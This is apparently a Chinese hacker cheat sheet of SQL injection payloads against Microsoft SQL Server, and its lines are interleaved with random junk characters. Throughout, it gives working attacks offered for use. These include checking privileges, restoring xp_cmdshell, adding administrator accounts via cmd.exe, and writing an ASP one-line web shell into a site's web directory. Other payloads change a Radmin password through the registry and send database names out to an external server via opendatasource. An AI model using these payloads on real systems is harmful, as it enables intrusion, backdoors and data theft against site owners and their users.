阿D常用的一些注入命令
$ S* s9 U# }4 g/ X; t6 x//看看是什么权限的
2 f$ A/ m! a; J3 j2 Band 1=(Select IS_MEMBER('db_owner')). O" N/ x2 @) T& w7 v/ |; _. w0 k
And char(124)%2BCast(IS_MEMBER('db_owner') as varchar(1))%2Bchar(124)=1 ;--
& k# ~$ O/ U1 `. [' \9 q' V8 Z4 U
" E* @& _1 _( Y7 M; I//检测是否有读取某数据库的权限4 D0 R5 \! H% ^. ?* D
and 1= (Select HAS_DBACCESS('master'))* E/ G8 ~( n& u" `+ m0 K
And char(124)%2BCast(HAS_DBACCESS('master') as varchar(1))%2Bchar(124)=1 --
' j: u D& v- s# @) V! @" `5 X( g8 O7 ^3 O
. c# c) T" K; n* I( {数字类型; @+ v1 U$ i5 X& e- z
and char(124)%2Buser%2Bchar(124)=0* M1 `. o; @! P+ |# O
, C" `# V `3 n7 F0 [
字符类型
7 |) m1 y w' x: u' and char(124)%2Buser%2Bchar(124)=0 and ''='
5 F+ d' j. F9 X2 d$ D3 O1 c- g4 L2 v# T- n* c; F
搜索类型
& q' P5 U% B0 ^# ~" I" ?' and char(124)%2Buser%2Bchar(124)=0 and '%'='
0 j7 y1 I+ u* e) @; ]
# x1 s/ T2 }; ]. w3 F; g% i: Q+ V) b! H爆用户名
7 r: I1 H6 [, F. ~and user>05 k7 b' g8 J' l0 T& Q$ D" n5 ~' e( ~
' and user>0 and ''='8 i7 h. r! F7 K+ x$ r
6 M: e" d1 G: Y, _5 ]# s
检测是否为SA权限2 S) O5 T; u. z2 S) _
and 1=(select IS_SRVROLEMEMBER('sysadmin'));--3 W3 }( @9 E0 Z d4 ~! s5 D. J9 r+ ~
And char(124)%2BCast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))%2Bchar(124)=1 --3 `5 [ H6 ?! ?8 y% G
2 F' Y& o+ H2 f, C检测是不是MSSQL数据库# p/ D* w* T) _& g0 l, U7 `
and exists (select * from sysobjects);-- / g. i- u$ m! O
0 q8 }7 Y3 }0 ?, ]! u8 s检测是否支持多行0 [" l1 ^5 U% a, T% J
;declare @d int;--
- K' e6 B: a* _( L
f7 N& O* Y: P恢复 xp_cmdshell b& Y8 ?6 l5 a6 s& C
;exec master..dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll';--9 }/ A! Y( P: W: [8 P9 f
9 c* @* L+ J0 C: |& V9 d% b4 M8 R) S6 ~8 _* p* I& c
select * from openrowset('sqloledb','server=192.168.1.200,1433;uid=test;pwd=pafpaf','select @@version') 4 m$ F5 [2 M+ U: `2 j6 S0 C
' |& O3 Q% I( ^3 w$ j
//-----------------------1 | U! c: `( F, t( F
// 执行命令
0 X; h$ K H% S//-----------------------
4 [* u/ ^: l" j( \. ?首先开启沙盘模式:6 Q, v. F8 ~0 F
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',10 T5 |1 [" v, k2 ?
+ F$ X' ?" a+ A% N: F6 _. V2 v. D
然后利用jet.oledb执行系统命令; Z6 }7 `& s# a4 Q0 [( [" z, i
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")'); [* j% L* J2 X. g( a% R- i
1 g7 K% H" P; t1 B执行命令' ? E) i' P5 k5 b9 g; e5 @0 @
;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user paf pafpaf /add';--# ?; ~2 F( R! D9 R
( F8 ~+ {3 l5 B' L
EXEC [master].[dbo].[xp_cmdshell] 'cmd /c md c:\1111'
5 c' F/ c1 f/ b/ e; M$ ^( ~' l v% L$ ?2 i: a' \/ F$ [: Z
判断xp_cmdshell扩展存储过程是否存在:
3 ]* N! F. b2 U5 L( }http://192.168.1.5/display.asp?keyno=188 and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell')
$ ^1 {' W$ q$ c/ T0 U# d5 B. T8 | A9 }0 `3 W( h3 J* l4 T
写注册表
4 m" D) B; s1 Vexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1+ g: S J4 W1 h5 ]! M) ~
, ]1 N1 A" V9 f8 y8 p/ a
REG_SZ/ `) y( m$ ]0 Z6 x4 T6 u
/ J& d& P, u& |( H9 `. {3 s( X
读注册表
0 E0 J g- {/ x9 i& o w' {exec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Userinit') Z2 U( r& Y* g* {
6 m; _. z) y0 w) ]7 I+ C8 |
读取目录内容
. X: f$ ^1 b/ \& C' }exec master..xp_dirtree 'c:\winnt\system32\',1,1
) |+ H2 h; R& z0 a
2 L% o2 j2 D: \* J! f
3 D* F! ]4 _+ j$ g9 Z' z | d4 @数据库备份
3 z$ _( y, ?7 k# Sbackup database pubs to disk = 'c:\123.bak'; H- S8 q+ Y+ o8 p& I) @
' |) S! z; U6 x" d8 X
//爆出长度1 ~9 M0 ^9 u7 B/ y( e4 m* P* ^! k
And (Select char(124)%2BCast(Count(1) as varchar(8000))%2Bchar(124) From D99_Tmp)=0 ;--1 t+ {/ c* w7 K, l) ^* {0 k
B! {: y: v, m* [8 ~' ?
& z6 n# ^' I6 g' j g2 x8 n; z% y2 Z: C) ? d
更改sa口令方法:用sql综合利用工具连接后,执行命令:2 P; c* K) B+ U8 R0 {$ c
exec sp_password NULL,'新密码','sa'
4 a1 w& p b$ {
1 @9 E* D, v$ U& F( N添加和删除一个SA权限的用户test:: p: R/ E. `# ^6 z K6 C6 Q
exec master.dbo.sp_addlogin test,ptlove
7 X; Y! c k8 G- F, \! ]exec master.dbo.sp_addsrvrolemember test,sysadmin% B+ e9 A* T4 V8 Q% d
2 H0 b% ^/ E- n0 w" r5 a& s; G5 p
删除扩展存储过过程xp_cmdshell的语句:
- ?) D1 T9 b- p; \: _exec sp_dropextendedproc 'xp_cmdshell'9 ]6 m: x' P( e& g+ m+ P' A
; M X' L- _) p: ~" z: q' p3 G) T; s: }, _) [
添加扩展存储过过程
- J* |- T8 s: h, M& E& m Y* FEXEC [master]..sp_addextendedproc 'xp_proxiedadata', 'c:\winnt\system32\sqllog.dll' * m+ X w, U0 Y
GRANT exec On xp_proxiedadata TO public / V- E! O$ E. t# B q! K
/ j* Y7 ]0 s0 V$ w @7 q. c6 p' ?) \% r: p, C' L$ r! V* v4 M
停掉或激活某个服务。 ) N5 E- X1 J1 v
- D) s& q& h+ P) I }exec master..xp_servicecontrol 'stop','schedule'& p9 i/ f$ K/ L# `
exec master..xp_servicecontrol 'start','schedule'
+ E, u. B; b# c& p2 A& ^. f! l7 d8 h/ W# Z( a( d, |( q
dbo.xp_subdirs
: q; R2 U0 z9 l; U7 |
; ?5 Z$ [6 H/ u1 E+ X& w只列某个目录下的子目录。) X: e. y- X9 X* u
xp_getfiledetails 'C:\Inetpub\wwwroot\SQLInject\login.asp'
+ U0 h. r4 c' L) _
" e: A3 R7 M0 Q8 X+ T2 mdbo.xp_makecab: |. [( N( ~" H* g
- h- z/ @% J- n* G/ R8 s: Q {5 Z' I3 v
将目标多个档案压缩到某个目标档案之内。( B3 J3 J6 k8 `' m4 H) k% G
所有要压缩的档案都可以接在参数列的最后方,以逗号隔开。$ N, Z! ^, @" `: a8 F5 r
( y" d" E' D; |- u3 t
dbo.xp_makecab
/ p+ ~) X/ R6 }+ c) p) c6 U2 x'c:\test.cab','mszip',1,
d: q% l* c' Q8 `; g6 o5 S'C:\Inetpub\wwwroot\SQLInject\login.asp',
3 L4 {4 S* ]1 o'C:\Inetpub\wwwroot\SQLInject\securelogin.asp'
2 X, L) e, H1 ~" \! d" T
# p. V1 s5 O; u1 [* Qxp_terminate_process, x2 i, j0 J5 M7 R
- _9 K6 s U8 o* b停掉某个执行中的程序,但赋予的参数是 Process ID。
* |- ` X" S, a, D8 z利用”工作管理员”,透过选单「检视」-「选择字段」勾选 pid,就可以看到每个执行程序的 Process ID
5 S( Z$ E6 P1 b3 q
9 U9 l) I) `/ _3 S2 V, txp_terminate_process 2484- Y J* M6 k4 Y# ~6 K
' U5 l. B7 \. A" `8 t1 J, i+ Txp_unpackcab2 i0 h: c& ?. L' D9 C5 H
; O& H3 |4 ?4 [) l解开压缩档。) I# B5 _& w) P4 o
8 n9 U+ Q8 n5 Q Y* l( d
xp_unpackcab 'c:\test.cab','c:\temp',1
7 o' k, e5 D1 s& U8 C+ l, E+ P( O
5 A4 s. @8 T! k; W3 r; W: H. C% A. [- |( D
某机,安装了radmin,密码被修改了,regedit.exe不知道被删除了还是被改名了,net.exe不存在,没有办法使用regedit /e 导入注册文件,但是mssql是sa权限,使用如下命令 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','Parameter','REG_BINARY',0x02ba5e187e2589be6f80da0046aa7e3c 即可修改密码为12345678。如果要修改端口值 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','port','REG_BINARY',0xd20400 则端口值改为1234
1 c$ O3 d2 @" _) K2 x. m( z
8 Q% U7 w" X$ |( N0 z1 l# Lcreate database lcx;$ Y3 k% H, V+ g
Create TABLE ku(name nvarchar(256) null);
1 {5 p A# r. @% e' N8 `2 d5 PCreate TABLE biao(id int NULL,name nvarchar(256) null);
/ K" Y4 k, S+ t+ R( L% q" ?* w" ~7 e f- ?9 N( U/ w
//得到数据库名' n3 A7 a; c& j6 ~0 s
insert into opendatasource('sqloledb','server=211.39.145.163,1443;uid=test;pwd=pafpaf;database=lcx').lcx.dbo.ku select name from master.dbo.sysdatabases
6 s" H8 C6 t" \' O" P+ L: h9 H/ j- C2 C6 t& |
5 v3 A, M9 S5 u
//在Master中创建表,看看权限怎样
f6 e' W$ B. p- U; L5 f/ {8 fCreate TABLE master..D_TEST(id nvarchar(4000) NULL,Data nvarchar(4000) NULL);--" l7 P' u6 }1 t" i
6 j- C6 p: t% r8 l+ D1 H用 sp_makewebtask直接在web目录里写入一句话马:1 L) M$ u9 L" c) h
http://127.0.0.1/dblogin123.asp?username=123';exec%20sp_makewebtask%20'd:\www\tt\88.asp','%20select%20''<%25execute(request("a"))%25>''%20';--1 `0 `; V9 I+ @2 y' Y
2 `, u1 \. v1 o* N+ n' X//更新表内容
9 _3 A& }7 P9 u8 K& W4 J0 nUpdate films SET kind = 'Dramatic' Where id = 123
4 m; S0 i% N! \( v x/ @% e
- g4 {1 T7 c6 h% D' X5 M4 E7 p//删除内容0 q, g$ T" q _
delete from table_name where Stockid = 3 |